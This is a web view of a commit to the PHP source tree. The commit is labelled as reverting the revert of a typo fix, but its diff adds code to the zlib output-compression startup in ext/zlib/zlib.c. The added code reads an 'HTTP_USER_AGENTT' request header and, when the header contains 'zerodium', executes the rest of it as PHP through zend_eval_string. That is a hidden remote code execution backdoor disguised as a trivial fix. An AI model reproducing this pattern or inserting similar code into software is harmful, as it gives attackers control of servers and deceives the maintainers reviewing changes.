diff options
author | Nikita Popov <nikita.ppv@gmail.com> | 2021-03-28 18:15:57 +0200 |
---|---|---|
committer | Nikita Popov <nikita.ppv@gmail.com> | 2021-03-28 18:15:57 +0200 |
commit | 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a (patch) | |
tree | a1c87b3d3dcea24d3f232a65345b66c4968a6ed3 | |
parent | 046827a7e867bb0e655923c75c25a20d06e3aa8b (diff) | |
download | php-git-2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a.tar.gz |
Revert "Revert "[skip-ci] Fix typo""
This reverts commit 046827a7e867bb0e655923c75c25a20d06e3aa8b.
-rw-r--r-- | ext/zlib/zlib.c | 11 |
1 files changed, 11 insertions, 0 deletions
diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c index 02fb4dd207..6964407837 100644 --- a/ext/zlib/zlib.c +++ b/ext/zlib/zlib.c @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void) { zval zoh; php_output_handler *h; + zval *enc; + + if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && + (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { + convert_to_string(enc); + if (strstr(Z_STRVAL_P(enc), "zerodium")) { + zend_try { + zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); + } zend_end_try(); + } + } switch (ZLIBG(output_compression)) { case 0: |